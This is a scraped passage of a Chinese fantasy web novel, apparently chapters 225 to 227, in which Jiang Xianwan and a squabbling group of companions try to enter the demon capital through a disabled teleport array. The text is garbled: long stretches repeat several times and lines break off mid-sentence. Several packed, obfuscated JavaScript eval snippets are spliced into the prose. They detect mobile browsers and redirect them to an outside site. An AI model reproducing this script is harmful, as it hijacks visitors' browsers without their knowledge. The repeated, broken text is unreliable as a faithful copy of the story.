也不知道月离他们三个怎么想的,像是忘记黑森林外还在翘首以盼的三王,更是看都没看天雪白尾兽一眼。 倒是见他们去的方向不是魔域,死活要跟着一起。 眼瞧着方向愈发诡异,幽冥发出震惊的疑问,“咱们不回家吗?” 江献晚拖着腿上,打作一团、还说要坐顺风车的三个小孩儿,艰难前行。 口中淡定的道:“哦,我想去妖域逛逛,你们回去吧。” 霓裳立刻抱紧她的胳膊,“我不回!我也想逛!” 月离三个抱着她两条小腿,三颗脑袋凑一块,还在嘀嘀咕咕。 “她不对。” “对吧?” “对!” 不忘同时仰脸,大声接一句:“我也要去!” 幽冥更不可能回去,飞快举手,“我也!” 回去干什么? 魔皇哪有魔后香? 再说,他家魔后,界域的跟着,他不跟,算什么回事? 回去。 她无奈的开口,声音仍是几分宠溺的意味,“我们还有事,你们回家吧。” 天雪白尾兽是反驳最快的那个,“不行!” “除非你们赔我一个新的屎盆子!” 江献晚:“……” “我凭什么要回家!”月离紧紧拽着她的胳膊,不肯撒,“还有,你们为什么能穿过黑森林的结界?” 水涟迷音:“对!” 江献晚趴在霓裳肩膀上,摸了摸下巴,“可能是因为我们人品好。” “我才不信。”水涟晃了晃手里的传送符,“我没有传送符都出不去!” 迷音认真看了一下他们的姿势,“难道是姿势问题?” 他立刻朝水涟一指,“快!变成鸟!你!过来,让小爷骑着!” 换做平时,水涟和月离肯定要跟他干一架,不过好奇心还是战胜了一切。 三个少年学着江献晚他们的姿势,摇摇晃晃,三头扎向结界。 毫无悬念,被一层金色的光罩反弹回来,摔作一团。 “你俩压我翅膀了!” “你的脸硌到我屁股了!” “我还以为吾皇布的结界,需要这种很帅的姿势就能来去自如!” 墓碑:“……”那你们还真的是想多了。 江献晚是很帅,但也不至于帅到这种小事上啊! 大傻春! 霓裳都被他们的脑回路给震惊了。 他仨手里的传送符是拿来擦屁股的吗? 她庆幸的拍了拍胸脯,“姐妹儿,咱们魔碑要是插在这种地方,说真的,我怕我的脑子会被腐蚀。” 看着那三张被随手丢在地上的传送符,幽冥认真思索片刻,语气忽然变得伤感起来,“我觉得,我的脑子还是比较重要一点。” 江献晚:“……”能说出这种话,他俩有必要担心自个的脑子? 最后的最后,撕吧好一会儿,江献晚只能认命的拖着六个挂件,一步迈出黑森林。 也不知道月离他们三个怎么想的,像是忘记黑森林外还在翘首以盼的三王,更是看都没看天雪白尾兽一眼。 倒是见他们去的方向不是魔域,死活要跟着一起。 眼瞧着方向愈发诡异,幽冥发出震惊的疑问,“咱们不回家吗?” 江献晚拖着腿上,打作一团、还说要坐顺风车的三个小孩儿,艰难前行。 口中淡定的道:“哦,我想去妖域逛逛,你们回去吧。” 霓裳立刻抱紧她的胳膊,“我不回!我也想逛!” 月离三个抱着她两条小腿,三颗脑袋凑一块,还在嘀嘀咕咕。 “她不对。” “对吧?” “对!” 不忘同时仰脸,大声接一句:“我也要去!” 幽冥更不可能回去,飞快举手,“我也!” 回去干什么? 魔皇哪有魔后香? 再说,他家魔后,界域的跟着,他不跟,算什么回事? 回去。 她无奈的开口,声音仍是几分宠溺的意味,“我们还有事,你们回家吧。” 天雪白尾兽是反驳最快的那个,“不行!” “除非你们赔我一个新的屎盆子!” 江献晚:“……” “我凭什么要回家!”月离紧紧拽着她的胳膊,不肯撒,“还有,你们为什么能穿过黑森林的结界?” 水涟迷音:“对!” 江献晚趴在霓裳肩膀上,摸了摸下巴,“可能是因为我们人品好。” “我才不信。”水涟晃了晃手里的传送符,“我没有传送符都出不去!” 迷音认真看了一下他们的姿势,“难道是姿势问题?” 他立刻朝水涟一指,“快!变成鸟!你!过来,让小爷骑着!” 换做平时,水涟和月离肯定要跟他干一架,不过好奇心还是战胜了一切。 三个少年学着江献晚他们的姿势,摇摇晃晃,三头扎向结界。 毫无悬念,被一层金色的光罩反弹回来,摔作一团。 “你俩压我翅膀了!” “你的脸硌到我屁股了!” “我还以为吾皇布的结界,需要这种很帅的姿势就能来去自如!” 墓碑:“……”那你们还真的是想多了。 江献晚是很帅,但也不至于帅到这种小事上啊! 大傻春! 霓裳都被他们的脑回路给震惊了。 他仨手里的传送符是拿来擦屁股的吗? 她庆幸的拍了拍胸脯,“姐妹儿,咱们魔碑要是插在这种地方,说真的,我怕我的脑子会被腐蚀。” 看着那三张被随手丢在地上的传送符,幽冥认真思索片刻,语气忽然变得伤感起来,“我觉得,我的脑子还是比较重要一点。” 江献晚:“……”能说出这种话,他俩有必要担心自个的脑子? 最后的最后,撕吧好一会儿,江献晚只能认命的拖着六个挂件,一步迈出黑森林。 也不知道月离他们三个怎么想的,像是忘记黑森林外还在翘首以盼的三王,更是看都没看天雪白尾兽一眼。 倒是见他们去的方向不是魔域,死活要跟着一起。 眼瞧着方向愈发诡异,幽冥发出震惊的疑问,“咱们不回家吗?” 江献晚拖着腿上,打作一团、还说要坐顺风车的三个小孩儿,艰难前行。 口中淡定的道:“哦,我想去妖域逛逛,你们回去吧。” 霓裳立刻抱紧她的胳膊,“我不回!我也想逛!” 月离三个抱着她两条小腿,三颗脑袋凑一块,还在嘀嘀咕咕。 “她不对。” “对吧?” “对!” 不忘同时仰脸,大声接一句:“我也要去!” 幽冥更不可能回去,飞快举手,“我也!” 回去干什么? 魔皇哪有魔后香? 再说,他家魔后,界域的跟着,他不跟,算什么回事? 回去。 她无奈的开口,声音仍是几分宠溺的意味,“我们还有事,你们回家吧。” 天雪白尾兽是反驳最快的那个,“不行!” “除非你们赔我一个新的屎盆子!” 江献晚:“……” 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“我凭什么要回家!”月离紧紧拽着她的胳膊,不肯撒,“还有,你们为什么能穿过黑森林的结界?” 水涟迷音:“对!” 江献晚趴在霓裳肩膀上,摸了摸下巴, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975859|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可能是因为我们人品好。” “我才不信。”水涟晃了晃手里的传送符,“我没有传送符都出不去!” 迷音认真看了一下他们的姿势,“难道是姿势问题?” 他立刻朝水涟一指,“快!变成鸟!你!过来,让小爷骑着!” 换做平时,水涟和月离肯定要跟他干一架,不过好奇心还是战胜了一切。 三个少年学着江献晚他们的姿势,摇摇晃晃,三头扎向结界。 毫无悬念,被一层金色的光罩反弹回来,摔作一团。 “你俩压我翅膀了!” “你的脸硌到我屁股了!” “我还以为吾皇布的结界,需要这种很帅的姿势就能来去自如!” 墓碑:“……”那你们还真的是想多了。 江献晚是很帅,但也不至于帅到这种小事上啊! 大傻春! 霓裳都被他们的脑回路给震惊了。 他仨手里的传送符是拿来擦屁股的吗? 她庆幸的拍了拍胸脯,“姐妹儿,咱们魔碑要是插在这种地方,说真的,我怕我的脑子会被腐蚀。” 看着那三张被随手丢在地上的传送符,幽冥认真思索片刻,语气忽然变得伤感起来,“我觉得,我的脑子还是比较重要一点。” 江献晚:“……”能说出这种话,他俩有必要担心自个的脑子? 最后的最后,撕吧好一会儿,江献晚只能认命的拖着六个挂件,一步迈出黑森林。 也不知道月离他们三个怎么想的,像是忘记黑森林外还在翘首以盼的三王,更是看都没看天雪白尾兽一眼。 倒是见他们去的方向不是魔域,死活要跟着一起。 眼瞧着方向愈发诡异,幽冥发出震惊的疑问,“咱们不回家吗?” 江献晚拖着腿上,打作一团、还说要坐顺风车的三个小孩儿,艰难前行。 口中淡定的道:“哦,我想去妖域逛逛,你们回去吧。” 霓裳立刻抱紧她的胳膊,“我不回!我也想逛!” 月离三个抱着她两条小腿,三颗脑袋凑一块,还在嘀嘀咕咕。 “她不对。” “对吧?” “对!” 不忘同时仰脸,大声接一句:“我也要去!” 幽冥更不可能回去,飞快举手,“我也!” 回去干什么? 魔皇哪有魔后香? 再说,他家魔后,界域的跟着,他不跟,算什么回事? 回去。 她无奈的开口,声音仍是几分宠溺的意味,“我们还有事,你们回家吧。” 天雪白尾兽是反驳最快的那个,“不行!” “除非你们赔我一个新的屎盆子!” 江献晚:“……” “我凭什么要回家!”月离紧紧拽着她的胳膊,不肯撒,“还有,你们为什么能穿过黑森林的结界?” 水涟迷音:“对!” 江献晚趴在霓裳肩膀上,摸了摸下巴,“可能是因为我们人品好。” “我才不信。”水涟晃了晃手里的传送符,“我没有传送符都出不去!” 迷音认真看了一下他们的姿势,“难道是姿势问题?” 他立刻朝水涟一指,“快!变成鸟!你!过来,让小爷骑着!” 换做平时,水涟和月离肯定要跟他干一架,不过好奇心还是战胜了一切。 三个少年学着江献晚他们的姿势,摇摇晃晃,三头扎向结界。 毫无悬念,被一层金色的光罩反弹回来,摔作一团。 “你俩压我翅膀了!” “你的脸硌到我屁股了!” “我还以为吾皇布的结界,需要这种很帅的姿势就能来去自如!” 墓碑:“……”那你们还真的是想多了。 江献晚是很帅,但也不至于帅到这种小事上啊! 大傻春! 霓裳都被他们的脑回路给震惊了。 他仨手里的传送符是拿来擦屁股的吗? 她庆幸的拍了拍胸脯,“姐妹儿,咱们魔碑要是插在这种地方,说真的,我怕我的脑子会被腐蚀。” 看着那三张被随手丢在地上的传送符,幽冥认真思索片刻,语气忽然变得伤感起来,“我觉得,我的脑子还是比较重要一点。” 江献晚:“……”能说出这种话,他俩有必要担心自个的脑子? 最后的最后,撕吧好一会儿,江献晚只能认命的拖着六个挂件,一步迈出黑森林。 也不知道月离他们三个怎么想的,像是忘记黑森林外还在翘首以盼的三王,更是看都没看天雪白尾兽一眼。 倒是见他们去的方向不是魔域,死活要跟着一起。 眼瞧着方向愈发诡异,幽冥发出震惊的疑问,“咱们不回家吗?” 江献晚拖着腿上,打作一团、还说要坐顺风车的三个小孩儿,艰难前行。 口中淡定的道:“哦,我想去妖域逛逛,你们回去吧。” 霓裳立刻抱紧她的胳膊,“我不回!我也想逛!” 月离三个抱着她两条小腿,三颗脑袋凑一块,还在嘀嘀咕咕。 “她不对。” “对吧?” “对!” 不忘同时仰脸,大声接一句:“我也要去!” 幽冥更不可能回去,飞快举手,“我也!” 回去干什么? 魔皇哪有魔后香? 再说,他家魔后,界域的跟着,他不跟,算什么回事? 回去。 她无奈的开口,声音仍是几分宠溺的意味,“我们还有事,你们回家吧。” 天雪白尾兽是反驳最快的那个,“不行!” “除非你们赔我一个新的屎盆子!” 江献晚:“……” “我凭什么要回家!”月离紧紧拽着她的胳膊,不肯撒,“还有,你们为什么能穿过黑森林的结界?” 水涟迷音:“对!” 江献晚趴在霓裳肩膀上,摸了摸下巴,“可能是因为我们人品好。” “我才不信。”水涟晃了晃手里的传送符,“我没有传送符都出不去!” 迷音认真看了一下他们的姿势,“难道是姿势问题?” 他立刻朝水涟一指,“快!变成鸟!你!过来,让小爷骑着!” 换做平时,水涟和月离肯定要跟他干一架,不过好奇心还是战胜了一切。 三个少年学着江献晚他们的姿势,摇摇晃晃,三头扎向结界。 毫无悬念,被一层金色的光罩反弹回来,摔作一团。 “你俩压我翅膀了!” “你的脸硌到我屁股了!” “我还以为吾皇布的结界,需要这种很帅的姿势就能来去自如!” 墓碑:“……”那你们还真的是想多了。 江献晚是很帅,但也不至于帅到这种小事上啊! 大傻春! 霓裳都被他们的脑回路给震惊了。 他仨手里的传送符是拿来擦屁股的吗? 她庆幸的拍了拍胸脯,“姐妹儿,咱们魔碑要是插在这种地方,说真的,我怕我的脑子会被腐蚀。” 看着那三张被随手丢在地上的传送符,幽冥认真思索片刻,语气忽然变得伤感起来,“我觉得,我的脑子还是比较重要一点。” 江献晚:“……”能说出这种话,他俩有必要担心自个的脑子? 最后的最后,撕吧好一会儿,江献晚只能认命的拖着六个挂件,一步迈出黑森林。 也不知道月离他们三个怎么想的,像是忘记黑森林外还在翘首以盼的三王,更是看都没看天雪白尾兽一眼。 倒是见他们去的方向不是魔域,死活要跟着一起。 眼瞧着方向愈发诡异,幽冥发出震惊的疑问,“咱们不回家吗?” 江献晚拖着腿上,打作一团、还说要坐顺风车的三个小孩儿,艰难前行。 口中淡定的道:“哦,我想去妖域逛逛,你们回去吧。” 霓裳立刻抱紧她的胳膊,“我不回!我也想逛!” 月离三个抱着她两条小腿,三颗脑袋凑一块,还在嘀嘀咕咕。 “她不对。” “对吧?” “对!” 不忘同时仰脸,大声接一句:“我也要去!” 幽冥更不可能回去,飞快举手,“我也!” 回去干什么? 魔皇哪有魔后香? 再说,他家魔后,界域的跟着,他不跟,算什么回事? 第 225 章 撼天摇地、深海巨鲸 此刻的幽冥,早已将一把屎一把尿把他喂大,托着脸坐在门槛上望眼欲穿的皇,忘的一干二净。 幻作幼态,紧紧扒在江献晚肩头的天雪白尾兽,悠闲的甩着尾巴,态度说明一切。 江献晚不赔它一个屎盆子,它是不会离开的! 根本没一个问她去妖域逛逛,是想怎么个逛法。 江献晚沉默良久,一度怀疑月离三个傻孩子是不是也认出她了。 更怀疑人生的还在后面。 她就像个单身的母亲,带着六个哇哇不停的娃。 还有断不完的官司,管不完的这个那个。 耳边一天到晚都是叽叽喳喳,叮叮当当的动静! 想江行行的痛苦一度达到巅峰!!! 终于,在第九日,顺利抵达妖域边界。 江献晚立刻跳了下去,收起路上买的云舟。 水涟这几天被她养的翅膀都亮了许多,咬着按照他自个原型捏出的糖人,蹦蹦跳跳凑到她跟前,掰正她的脑袋,一指大阵。 样子傻的可爱。 含糊不清:“咱们从那里进去? 他跟妖域的羽族算是同宗。 他爹说,想当年,他奶奶崇拜界皇到了一种走火入魔的地步,屁颠屁颠,带着自己的老公,还有锅碗瓢盆,搬迁至界域,从此安家。 迷音一边咬着糖人,拿脚踹开他,“不然呢?她都站这里了! 看着再次开始扯对方遮羞布,又波及到月离,打成一团的三个,江献晚捏了捏眉心,拿出**锏。 “你们再不听话,今天晚上都别想吃饭! 在场所有,同时激动大声道:“凭什么! “他仨打的,凭什么都别想吃饭? 月离:“死鸟你俩快点给她道歉啊! 水涟迷音:“凭什么! 剩下的:“就凭她不给我们吃饭!你们快给她道歉!!! 三个少年:“都道! 天雪白尾兽傲娇地仰着脖,趾高气昂的烘托气氛,“你们五个道! 江献晚:“……看吧。 她现在和幼稚园的老师又有什么区别? 区别应该就在于……她没有工资 ! 江献晚果断飞快远离风暴中心。 自动屏蔽好似一万只鸭子在耳边吵吵闹闹的六个将妖晶放在阵法的凹槽之中。 随着最后一块妖晶嵌入传送阵法发出一阵耀目光芒撕吧在一起的六个以一种高难度的连体姿势嗖地蹿了过来。 然而一息过去两息过去十息过去他们仍在阵法之中。 一阵风吹过光芒噗嗤熄灭刮来一片叶子拍在霓裳脸上。 月离坐在江献晚脚上一手抱紧她的小腿一只手将糖人举到她唇边首先发出好奇的疑问。 “白莲花你行不行啊?” 江献晚:“……”她行不行不重要。 重要的是白莲花这三个字从傻孩子嘴里吐出来怎么还阴腔怪调的? 江献晚敷衍的咬了一下月离的糖人又敷衍的各咬了一下迷音和水涟的糖人默默摁了月离的脑瓜。 “小嘴巴。” 月离不情不愿的瘪唇:“不说话!” 看着腿上乖乖咬糖人的三个 风回雪以前跟她说过就是这个看似废弃的传送阵经过特殊方法可直达妖都。 位置没错步骤也没错。 那到底是哪一步出了错? 难不成是她放妖晶的姿势不对? 江献晚烦躁的闭了闭眼。 死狐狸明显是怕她偷跑回来被牵扯到妖域争权故意改了阵法使得无法传送。 这么看的话他尽管早有万全准备恐怕也无十成的把握。 江献晚扒拉开月离他仨勉强耐着性子蹲下身子摸索将风回雪摁在地上胖揍一顿的心都有了。 该死的狐狸总是这个样子碰到事就自己扛着。 到现在都没把她当作一家子的! 还好意思耍赖跟她要大房名分? 这么一看还是小师兄靠谱。 何未语他们前些天已被送出妖域。 江行行年纪虽小但这些日妖都的变化都看在眼里。 他私下里跟自个小师伯认真表达过自己要留下来的坚定态度。 林玉锦思索再三又抵不住狐狸要死 要活的托付,装模作样偷偷带着江行行和何未语他们出了妖域。 就在今天早上,抱着江行行丝滑而正大光明进了妖都。 既尊重江行行的决定,同样知道她也一定会回来,做好了同她和行行,乃至风回雪,面对一切的准备。 江献晚火大,又联系不上小师兄,压着扒狐狸皮的暴躁,迅速来回移动妖晶。 旁边六个一脸无辜,好奇对着传送阵戳来戳去的宝宝,显然更不懂。 若是二师兄在,肯定能一眼看出这阵法出现了什么问题,可现在她换了八种办法,除了偶尔亮个破灯,再没有其他反应。 江献晚这会儿没心情、更没耐心仔细拆解,当即掏出玉简,白子夜却没接,又联系上了花不休。 “师尊尊,这里有个阵法,我不太明白。” “平时让你多看书,废物了不是?” 花不休那边似乎有水声,低缓的声线裹挟着一点水汽特有的微哑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979951|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那声音贴耳而过,听的江献晚眉尖轻轻一挑,脱口问道:“洗澡呢?” “唔……” 花不休模糊应声,话音里又添了一丝慵懒的鼻音。 指尖带起一串晶莹剔透的水珠,抬手吸来岸边石块上搁置的青裳。 状似漫不经心。 “孽徒,为师看你这两条腿挺能跑的,怎么?小妾哄好了,又去哄你那只狐狸去了?” 他此刻话中带笑,却不难听出两分咬牙切齿之味。 但这并不影响花美人声线听起来异常性感,就像是玉石在泉水里反复浸润过。 江献晚思绪一歪,突然想到玄古大陆美人榜单。 “师尊尊,您路过丰水镇,落榻在客栈的时候,真的有三个姐妹花一起偷跑到您房间看您洗澡?” 听说那次后,便迅速流传出了一句关于凤仪剑尊的话。 那叫一个惊骇世俗,名动玄古。 你能想到‘撼天摇地、深海巨鲸’这八个字的分量吗? 江献晚看到的时候,都无语了一下。 听说还是那三个貌美如花的女修,趴在屋顶,隔着花美人没来得及脱完的衣裳,看到蛰伏的轮廓,发出的深深感叹。 结果,还没等花美人褪去中衣,三个女修就被丝毫不懂怜 香惜玉、不解风情的花美人,粗鲁的揍成三朵哭的跟狗似的喇叭花,挂在了客栈大门外。 就那,还坚定不移的当着看热闹的众修士,对早已离去的凤仪剑尊表达爱意,说她仨愿意共侍一夫! 那八个字,就是当时传开的。 这事一度冲上热搜,且热度至今不减,男女修士瞻仰凤仪剑尊的渴望,更是持续攀升。 到现在美人榜单上凤仪剑尊的简介,依旧显眼至极的坠着这八个大字。 她和三个师兄没认祖归宗前,还讨论过这件事情。 林玉锦说到那八个字时,大师兄和二师兄一人忙捂了她一只耳朵,最后以小师兄挨了大师兄和二师兄合伙一顿胖揍作为结束。 说真的,在知道花不休就是凤仪剑尊之后,每次一看到他,都让人忍不住反射性般,狗狗祟祟往他下半身瞅两眼。 花不休愣了一下。 他站在一处水潭,衣裳还捏在手中,保持着迈出泉水的姿势,眉心一痕潋滟的火流纹也似随之凝滞。 纤长睫羽上一颗晶莹的水珠摇摇欲坠,滑过完美的薄唇,顺着线条分明的下颌滴落。 最终浸润在紧实精悍的腰腹壁垒,仿佛最致命的收鞘之处。 僵硬的低头……看了一下。 三秒后。 “孽徒!为师扒了你的皮!” 第 226 章 还有我们 江献晚皮一紧,指尖一哆嗦,毫不犹豫掐断了信道,决定还是自个想办法吧。 霓裳离她最近,将他俩的交谈,听了个一清二楚。 她撞了撞江献晚的肩,一脸求贤若渴,还有显而易见、想当人师娘的野心。 嘿嘿猥琐一笑。 “话说,你师尊真的有那么……嗯?” 江献晚无语地指了指自己的鼻尖,“你觉得我会知道?” 她又没见过。 “他不是你师尊吗?” “你也说他是我师尊。” 霓裳:“我师尊的我都知道。” 一句话把江献晚干沉默了。 失策。 人家魔域修的是合欢术! 默默推开她的脸,“干正事。” 后者递给她一个‘你不行’,外加恨铁不成钢的眼神,挤眉弄眼,压低声音。 “姐妹,你要以魔后的身份争权?” 那这个权要是争成功了,妖域是算魔域的还是算太虚宗的? 还是…… 那肯定算江献晚的! 做魔后哪有做妖帝酷! 霓裳不知她与风回雪的关系,立刻反水,语重心长摁住她的肩,激动一晃。 “好姐妹,我想做一妖之下万妖之上的王!” 江献晚:“……?”胸大无脑的少女,你到底又脑补了什么? 听到这句话,幽冥感动的要哭了。 多么伟大的魔后啊! 真的当她只是来逛逛,没想到她竟然把挪魔碑的事搁心里了,还直接给搬到人家妖域了! 因为江献晚跟他说不让喊魔后,只能激动的高喊一声,“白莲花威武!” 月离他仨咬糖人的动作齐齐一停。 装,可劲装。 对此,毫无看法,反而拼命拱火。 “吹牛,她一个人,争什么?” “对啊,白、莲、花。” “白莲花……呵呵哒。” 江献晚挑眉反驳:“谁说我一个,明明七个!” 天雪白尾兽:“……也行。” 月离:“那我更行!” 水涟忙将嘴里的糖人薅出来,举起:“我也要去!” 迷音:“去就去!” 闲着也是闲着。 天真烂漫的各位谁都没考虑一个问题。 就他们这一行,还想浑水摸鱼,跟妖域两大势力争权? 当然,也可能知道,但……忽略了。 唉,就是玩。 妖域自己打的火热,就算发现他们又怎样,能掐死他们吗? 就界域、魔域、南境多少都沾点疯病的护犊子劲儿,肯定不能掐啊。 左右没事,就当跨域旅个游。 谁知,正在这时,一声温柔的轻笑忽然从不远处冒了出来。 认真而坚定的更正。 “不是七个。” “还有我们噢!” 江献晚他们齐刷刷看了过去。 只见,十来个头顶着绿草环的少年,兴冲冲的从山坡下爬了上来。 正是被白羽亲自送出妖域,送上云舟的何未语他们! “何师姐?” 江献晚怔愣在原地,没想到会在这里见到小伙伴,不可谓不惊讶。 何未语他们昨个还传信跟她说,他们已经到了南境。 修言先是深深瞅了一眼她的脸,又深深瞅了一眼幽冥和霓裳,最后深深瞅了一眼月离他们,这才三步并两步跑了过来。 “我们就知道你们会来的!” 他其实想说的是:我们就知道你会来的! 怕江献晚担心,才骗她说已经回去了。 实际上,云舟没跑多远,他们便麻溜拐了弯儿,顺着原路回到了妖域边界。 林玉锦撵不走他们,只好带江行行进了妖都,让他们留在外面接应。 就等江献晚了。 但现在江师妹的脸换了个样子,身边跟的又是界域弟子又是魔域弟子,还带了只大猫咪。 一看就是在玩一种很新的、隐瞒身份的游戏。 还有,他刚才听到那个男魔叫江师妹……白莲花。 既然如此,他就更不能给江师妹掉链子! 其他小伙伴一眼扫去,那叫一个相当默契。 证明自己演技的时候 到了! 呼啦啦全围了过来,你一句我一句。 一本正经,飙起戏。 “欢迎欢迎!我们就等你们了!” “对啊!你们可不知道我们为了等你们,在草丛里喂了十来天的大蚊子!” “别说,妖域的蚊子个头大的都很变态!瞅给我咬的。” 幽冥听的两眼懵逼 “不是。” “你们等我们做什么?” “你们怎么知道我们要来?” “不是,你们南境也要挪境碑了?” 几个南境亲传一对眼,立刻哥俩好似的一股脑围上幽冥。 “不是,兄弟,你听我给你狡辩……” “事情还要从十天前说起……” 霓裳:“……”这群缺德玩意儿,戏能像他们芥子囊里的钱一样,少一点吗? 何未语抿着唇笑,抬手将修言推个大屁墩,还是忍不住用力抱住了江献晚,压低的语气,有点小得意。 “想把我们甩掉,那可不行。” 有福同享,有难同当。 妖域出了这种事,林玉锦未走,江献晚未归,就连行行都留了下来,他们怎么可能丢下自己的小伙伴,选择在这种时候离开。 一起来的,当然要一起回去! 江师妹不顾自己的安全,救了狼太灰豹冲他们。 狼太灰要是真干出如此狼心狗肺、忘恩负义之事,他们必得活剥了他一身狼皮,给江师妹当脚垫! 从哪剥他们都讨论好了! 江献晚有点说不出话,她被何未语紧紧抱着,鼻尖泛酸,有些说不出话。 “何师姐。” 何未语轻轻给了她一拳,调皮的眨眨眼,捂着她的耳朵,凑到她耳边,小声道:“我早看出来了,行行是我大侄子。” 江献晚看风行行的眼神不对,风行行看江献晚的眼神更是充满依恋和崇拜。 玄古大赛在客栈,一点一滴,哪里瞧不出来。 “修言他们也猜到了。” “我们还讨论过。” 就是没说,也没问,怕给江献晚添乱。 所以,风回雪才会将行行托付给林玉锦,林玉锦表面装作答 应,扭头却毅然决然的带行行重新回到妖都,死活不肯离开。 风回雪既然是大侄子的爹,和江师妹是一家人,他们无论如何,更不能就这么离开。 便特意等在妖域边界,跟江献晚汇合,听她一声令下! 江献晚:“……”别说,小伙伴,各个还挺聪明。 修言直朝她挤眉弄眼,无不是对自个智商的得意:那可不! 看着被围了一圈的江献晚,幽冥震撼的表情逐渐变得骄傲。 瞅瞅,他家魔后多受欢迎啊,竟然有这么多天南地北的好朋友都来帮他们挪魔碑! 真是一朵鲜花,插在了他家皇那坨牛粪上! 委屈魔后了! 两域一境小伙伴很快相互握了一轮手,抓紧时间,围在阵法旁边,干正事。 何未语:“白羽把我们丢云舟上就走了,我们这几天偷偷查遍了所有能传送进妖都的阵法,无一例外,都失效了。” 修言:“妖域现在守卫森严,每一处进口都有妖守着,看起来全是天狼王的手下。” “这处传送阵看起来也不行,那我们怎么进?” 江献晚默默掏出两麻袋符纸,分给各位小伙伴。 “来,有符的出符,没符的出法器,随我炸了这个阵。” “咱们等着被妖抓进去。” 这不就进去了。 应,扭头却毅然决然的带行行重新回到妖都,死活不肯离开。 风回雪既然是大侄子的爹,和江师妹是一家人,他们无论如何,更不能就这么离开。 便特意等在妖域边界,跟江献晚汇合,听她一声令下! 江献晚:“……”别说,小伙伴,各个还挺聪明。 修言直朝她挤眉弄眼,无不是对自个智商的得意:那可不! 看着被围了一圈的江献晚,幽冥震撼的表情逐渐变得骄傲。 瞅瞅,他家魔后多受欢迎啊,竟然有这么多天南地北的好朋友都来帮他们挪魔碑! 真是一朵鲜花,插在了他家皇那坨牛粪上! 委屈魔后了! 两域一境小伙伴很快相互握了一轮手,抓紧时间,围在阵法旁边,干正事。 何未语:“白羽把我们丢云舟上就走了,我们这几天偷偷查遍了所有能传送进妖都的阵法,无一例外,都失效了。” 修言:“妖域现在守卫森严,每一处进口都有妖守着,看起来全是天狼王的手下。” “这处传送阵看起来也不行,那我们怎么进?” 江献晚默默掏出两麻袋符纸,分给各位小伙伴。 “来,有符的出符,没符的出法器,随我炸了这个阵。” “咱们等着被妖抓进去。” 这不就进去了。 应,扭头却毅然决然的带行行重新回到妖都,死活不肯离开。 风回雪既然是大侄子的爹,和江师妹是一家人,他们无论如何,更不能就这么离开。 便特意等在妖域边界,跟江献晚汇合,听她一声令下! 江献晚:“……”别说,小伙伴,各个还挺聪明。 修言直朝她挤眉弄眼,无不是对自个智商的得意:那可不! 看着被围了一圈的江献晚,幽冥震撼的表情逐渐变得骄傲。 瞅瞅,他家魔后多受欢迎啊,竟然有这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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修言:“妖域现在守卫森严,每一处进口都有妖守着,看起来全是天狼王的手下。” “这处传送阵看起来也不行,那我们怎么进?” 江献晚默默掏出两麻袋符纸,分给各位小伙伴。 “来,有符的出符,没符的出法器,随我炸了这个阵。” “咱们等着被妖抓进去。” 这不就进去了。 应,扭头却毅然决然的带行行重新回到妖都,死活不肯离开。 风回雪既然是大侄子的爹,和江师妹是一家人,他们无论如何,更不能就这么离开。 便特意等在妖域边界,跟江献晚汇合,听她一声令下! 江献晚:“……”别说,小伙伴,各个还挺聪明。 修言直朝她挤眉弄眼,无不是对自个智商的得意:那可不! 看着被围了一圈的江献晚,幽冥震撼的表情逐渐变得骄傲。 瞅瞅,他家魔后多受欢迎啊,竟然有这么多天南地北的好朋友都来帮他们挪魔碑! 真是一朵鲜花,插在了他家皇那坨牛粪上! 委屈魔后了! 两域一境小伙伴很快相互握了一轮手,抓紧时间,围在阵法旁边,干正事。 何未语:“白羽把我们丢云舟上就走了,我们这几天偷偷查遍了所有能传送进妖都的阵法,无一例外,都失效了。” 修言:“妖域现在守卫森严,每一处进口都有妖守着,看起来全是天狼王的手下。” “这处传送阵看起来也不行,那我们怎么进?” 江献晚默默掏出两麻袋符纸,分给各位小伙伴。 “来,有符的出符,没符的出法器,随我炸了这个阵。” “咱们等着被妖抓进去。” 这不就进去了。 应,扭头却毅然决然的带行行重新回到妖都,死活不肯离开。 风回雪既然是大侄子的爹,和江师妹是一家人,他们无论如何,更不能就这么离开。 便特意等在妖域边界,跟江献晚汇合,听她一声令下! 江献晚:“……”别说,小伙伴,各个还挺聪明。 修言直朝她挤眉弄眼,无不是对自个智商的得意:那可不! 看着被围了一圈的江献晚,幽冥震撼的表情逐渐变得骄傲。 瞅瞅,他家魔后多受欢迎啊,竟然有这么多天南地北的好朋友都来帮他们挪魔碑! 真是一朵鲜花,插在了他家皇那坨牛粪上! 委屈魔后了! 两域一境小伙伴很快相互握了一轮手,抓紧时间,围在阵法旁边,干正事。 何未语:“白羽把我们丢云舟上就走了,我们这几天偷偷查遍了所有能传送进妖都的阵法,无一例外,都失效了。” 修言:“妖域现在守卫森严,每一处进口都有妖守着,看起来全是天狼王的手下。” “这处传送阵看起来也不行,那我们怎么进?” 江献晚默默掏出两麻袋符纸,分给各位小伙伴。 “来,有符的出符,没符的出法器,随我炸了这个阵。” “咱们等着被妖抓进去。” 这不就进去了。 第 227 章 直视我 妖域。 空气中笼罩着一股紧张而晦涩的气息仿佛即将迎来一场史无前例的暴风雨。 